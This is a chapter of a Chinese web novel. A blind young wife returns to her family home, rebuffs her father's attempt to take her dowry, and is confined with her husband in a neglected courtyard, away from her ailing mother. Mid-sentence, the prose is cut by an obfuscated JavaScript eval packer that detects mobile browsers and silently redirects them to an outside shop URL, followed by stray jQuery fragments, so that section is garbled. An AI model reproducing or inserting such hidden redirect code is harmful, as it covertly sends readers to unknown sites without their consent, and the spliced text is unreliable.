得知夫妻俩决定归家，最“高兴”的莫过于周管事。
得了莘宛的准话后，周管事立刻帮着张罗了起来，牛车不比马精贵，村里大半人家都备着，塞几吊铜钱、再用莘府的名声做担保，借出车不成问题。
莘宛原本还想收拾点细软，后来想了想，轻装上阵更方便，索性只带了两件换洗衣物。
李巍牵着她的手给她引路，二人走到院门口，正好听见周管事和一农户攀谈的声音：“老哥，这是定钱您拿好，最多明天下午，这车一定给您送回来。”
农户接过铜板掂了掂，笑道：“您是莘府的人吧？一看就是大户出来的。听说莘家大公子拜了仙师，那可是咱方圆百里独一份的体面！”
周管事笑着拱拱手：“托福托福。我家小姐要回府，特来借辆车代步。”
农户殷勤地把牛车牵了出来：“您尽管用，别跟咱们客气！”
莘宛静静听着，总有种奇怪的既视感。
莘夫人的长子、莘宛的大哥，好像一个考上清华的高等生，又拿到了远赴国外的工作机会，虽然几年都见不到一面，但还是能让全家面上有光。
莘宛对自己的联想感到一阵无语，被李巍半托半抱地登上了牛车，还没等坐稳，心跳没由来地漏跳一拍。
莘宛下意识抬手捂住胸口，直到那阵令人心慌的空悸感过去。
“不舒服？”李巍的声音在身侧响起，显然是把莘宛的动作全部尽收眼底。
莘宛连忙摇头，李巍总是过于紧张她的身体，弄得她总觉得自己好像是什么易碎的雪娃娃，温度冷了会开裂，热了又会化。
未免有点小题大做。
李巍又看了她一会儿，那视线的存在感极强，在暗处时像是山间猛兽，在明处又像是悬而不落的太阳，烧得她心底发慌。
好在李巍很快移开了视线，莘宛松了一口气，终于腾出了一点精力去整理那满心乱麻。
莘宛不太相信莘夫人出了事，但凡事总有例外，若是母亲当真一病不起……
莘宛晃了晃脑袋，对这个可能有些排斥。
她对生离死别并不陌生，但这个世界跟她的联系实在太少了。
这不是她熟悉的现代社会，也没有万能的互联网，李巍和莘夫人是她唯二的亲人。
不过李巍只能算半个。
莘宛倚着车栏，手指不自觉地用力，紧紧攀附在木质围栏上，薄而软的甲片经不住这样磋磨，很快传来细细密密的痛意。
好在车程不长，莘宛听了一路吵吵嚷嚷的人声，抵达莘府时头昏脑涨得很，走路都像是踩在软软的泡沫纸上。
莘夫人是商户女出身，祖父老来得女，对她格外看重，不想让她远嫁，便直接在本地招赘，甚至动用财力给驸马爷买了个芝麻小官。
但当今世道不稳，这官身也不过是买个名头罢了。
莘宛一步一步迈进莘府的大门，腰上虚虚地托着一只手，帮她分担了一部分身体重量。
莘宛出嫁后只回来过一次，那次的氛围和这次截然不同。
从前母亲在时，府里常年熏着她惯用的苏合香，清雅恬淡，丝丝缕缕地缠绕在每一道回廊里。
可今日扑面而来的却是一股浓烈的檀香，厚重到呛鼻，莘宛下意识往后缩了缩脖子。
偌大的府邸，本该是人声往来、步履不断的，此刻却安静得过分。偶尔有脚步声匆匆掠过，也都是压着步子，不敢发出太大的动静，像是怕惊扰了什么。
莘宛侧耳细听，隐约捕捉到远处传来的一阵压抑的哭声，断断续续的，很快又被什么人喝止住了。
早知这是一场鸿门宴，可莘宛对这种氛围着实有些摸不着头脑。
可惜她看不见，不然还能从来来往往的下人身上窥见几分端倪。
“小姐和姑爷回来了！”周管事扬声传话，伴随着踢踢踏踏的脚步声，分贝高到反常。
莘宛觉得他不像是在通报，更像是在提醒着什么。
心中的不安宛若压在山头上的黑云，下一秒就要将瓢泼大雨浇灌在山地上。
夫妻二人进了正堂，莘宛以前就很少来前厅，进正堂的次数更是屈指可数。
她很少与父亲对话，也几乎没有见到过父母的父母。
偌大一个府邸，其实只有莘夫人一个亲人。
“吾儿回来了，快，看座。”纷乱杂沓的人声中，一道沉闷的男声突兀地响起，带着中年人特有的沙哑。
想必这就是原身的生身父亲，林……林什么来着？
莘宛努力思索了一会儿，发现自己好像还真不知道这人的全名是什么。
全府上下都只会叫他林老爷，或者林巡抚，母亲也很少跟莘宛提起，莘宛就更不会去留意这种细节了。
李巍察觉到她在出神，便不动声色地将她引到座位上，轻轻按着她的肩膀。
莘宛如梦初醒，刚坐稳，便听到上首传来一声：“吾儿与姑爷成亲小半年，日子可还顺遂？”
问候起手，那就是有鬼。
莘宛不动声色：“劳父亲挂心，一切都好。”
她不想在这里假寒暄，只想尽快和母亲见一面。
“既是成了亲，子嗣一事也该上上心了。你母亲像你这般年纪时，早已诞下了你大哥。咱们这样的人家，子嗣绵延才是正经。”林父说到长子，语气明显加重了几分。
莘宛漫无目的地想，这具身体的大哥虽然人不在，却已经成了这个家的图腾。
去仙家拜师学艺就这么有面？
不过转念一想，这仙家说不定堪比上辈子的清华北大，家里孩子但凡考上了，父母哪有不炫耀的道理。
莘宛脑子里千回百转，一时间忘了回答上首的人，引得林巡抚重重拍了下椅子扶手：“吾儿离家半年，怕不是已经忘了我这个父亲。”
哟，死老头现在想起来算账了。
早些年也不知道死哪去了。
还没等莘宛想好应对的措辞，身边的男人罕见地开口道：“吾妻身体抱恙，平日里尚且需要多加看护，子嗣一事，随缘即可。”
莘宛眨眨眼，心下讶异，下意识侧脸想要去看丈夫的神情语态，却只能窥见一片空白。
林巡抚被一个小辈驳了面子，霎时不爽，语气更肃：“宛娘，如今家里的境况，你也该知晓一二。今年汛期来得猛，河堤溃了好几处，咱们家在县里的几间铺子和田庄都遭了灾，损失不小。”
他顿了顿，语气一转，又开始哭诉：“为父虽顶着个官身，可你也知道，那不过是虚衔，俸禄微薄，养着这一大家子人已是吃力。如今遭了灾，更是周转不开。”
莘宛听着，终于豁然开朗。
弄了半天，这老不死的竟然想让她拿嫁妆出来贴补家用！
声音听着丑陋，想的却很美。
母亲给她的嫁妆，是实打实的田产地契和现银，足够她下半辈子衣食无忧。这份丰厚的陪嫁，怕是早就让这位林大人眼红不已了。
“父亲的意思是？”莘宛故作不解，微微歪了歪头。
林父见她这副模样，以为她好糊弄，语气又放缓了几分：“为父想着，你到底是林家女，如今家里有难，你总不能袖手旁观。不如先将你那嫁妆里的现银挪出来一部分，帮家里渡过难关。”
莘宛沉默了一瞬。
她历经两辈子，给两对夫妻做过孩子，她总觉得这些为人父母的中年人脑袋里装的都是稻草。
莘夫人是个好母亲，却在选丈夫时昏了头。
这钱若是真给了林巡抚，怕不是肉包子打狗，有去无回。
可她不能直接撕破脸。
她还不清楚母亲现在到底是什么状况，若是贸然与父亲翻脸，只怕连母亲的面都见不到。
于是莘宛垂下眼帘，声音柔柔弱弱的：“父亲说的是，女儿也想为家里分忧，只是那嫁妆是母亲亲手交给女儿的，女儿愚钝，母亲亲口叮嘱过，那些产业若要动用，须得母亲亲自点头才行。”
她说到这里，微微抬起头，朝着记忆中上首的方向望去：“不如让女儿先去见见母亲，当面与她商议此事？”
空气静谧一瞬，空旷的厅堂里针落可闻。
莘宛隐约预料到这老头不会那么轻易松口，却也没有更好的办法去推脱。
她和李巍两个人孤立无援，这黑心老头真想对他们不利，她自己倒是无所谓，可也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743298|209147||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不能让李巍被卷入这淌浑水。
过了好一会儿，林父才开口，语气比方才冷淡了几分：“你母亲病重，大夫说了需得静养，不宜见客。你先回自己院里歇着，等你母亲好些了再见不迟。”
荒唐，分明是周管事日夜不停地把她喊回来见人，临了才说母亲病重，不能见“客”，这不是故意的么？
最烦这种把人当猴耍的老头子。
莘宛之前在学校里想要请病假，明明只需要一个老师的签字，结果年级主任和班主任互相踢皮球，谁都不肯给她批假，硬生生熬成了急性胃炎。
“父亲，母亲身体抱恙，做儿女的怎能不在床前尽孝？传出去岂不是让邻里看我们的笑话。”莘宛又开始说些冠冕堂皇的鬼话。
她知道林巡抚这种人最好面子，有时候甚至只要面子不要钱，拿捏起来最是得心应手。
果然，听她这样说，坐在上首的人半天也没个声响。
许久，林巡抚冷哼了一声：“罢了罢了，你们想看就去看看吧。不过我可说好了，只看一眼就走，莫要惊扰了你母亲养病。”
莘宛心中一喜，正要起身道谢，却听林父又补了一句：“周管事，带小姐和姑爷去西边的竹苑安顿，让他们先把行李放下再说。”
莘宛身体一僵，下意识撑住李巍的小臂，五指握紧。
西边的竹苑。
那是莘府最偏僻的院落，离主院隔了大半个府邸，平日里几乎无人居住，只有堆放杂物的用处。
把她安排到那里去，分明是要将她与母亲隔离开来。
莘宛深吸了一口气，在心底把这死老头痛骂了无数遍，面上露出一丝恰到好处的困惑：“父亲，女儿从前住的院子……”
“你那院子许久没人打扫，住不得人了。”林父打断她的话，语气不容置疑，“竹苑清静，适合你养身子。就这么定了。”
说完，他也不等莘宛再开口，便扬声吩咐道：“来人，送小姐和姑爷去竹苑歇息！”
几个丫鬟婆子应声上前，簇拥着莘宛和李巍往外走。
莘宛还想再努力一下，起码要让她先见到母亲。
可还没等她开口，柔软的手臂内侧突然被人用指节摩挲两下，带着一丝丝安抚的意味。
莘宛只能安静下来。
她知道这种抗议不会有任何作用，毕竟林巡抚还是她名义上的父亲，她天生低人一等。
莘宛就这么被塞进了竹苑。
这地方虽然名字里带了个“竹”字，但其实就是个杂物房，莘宛虽然看不见，鼻尖却痒得受不了。
想必是有段时间没打理了。
莘宛抱着手臂靠在李巍旁边，勉强支撑着自己的身体。
她不是没有脾气的软柿子，但她的情绪总是会被忽视，久而久之，莘宛反倒养成了随遇而安的性子。
刚刚那种情况，就算她大闹一通，受伤的也只会是她和李巍。
人在屋檐下，不得不低头。
莘宛听着周围的动静，嘈杂无序，想必在帮忙收拾里屋的杂物，再粗略地打扫一遍落灰。
林巡抚还惦记着她那丰厚的嫁妆，虽然将她软禁在这小院，却也不敢苛待。
莘宛坐在院子里的石凳上，低声嘟囔：“老奸巨猾的东西……”
李巍听着，倒是对她的态度有了点认知。
莘宛并不喜欢她的父亲，却对母亲格外看重。
他理解这种情感的复杂性。
“你想见她，对吗？”李巍轻声开口。
两人坐在小院里，仆从们吵吵嚷嚷，显然都是林巡抚的耳目，莘宛也不敢大声说话，只能伏在男人的肩膀上，用他的身形遮挡住自己，闷声道：“等天黑，我们偷偷去。”
她嘴上这样说，心里却也知道这方法实施起来并不容易。
李巍却答应得很快：“好。”
莘宛一愣，随即又松懈下来，只当是他安慰自己，不忍心看她壮志满满却碰得一鼻子灰。
“谢谢你，”莘宛真心实意地拉起李巍的手，声音又低又软，“愿意陪我。”
李巍眯了眯眼睫，唇角勾起不明显的弧度，学着她的语气轻柔道：“无妨。”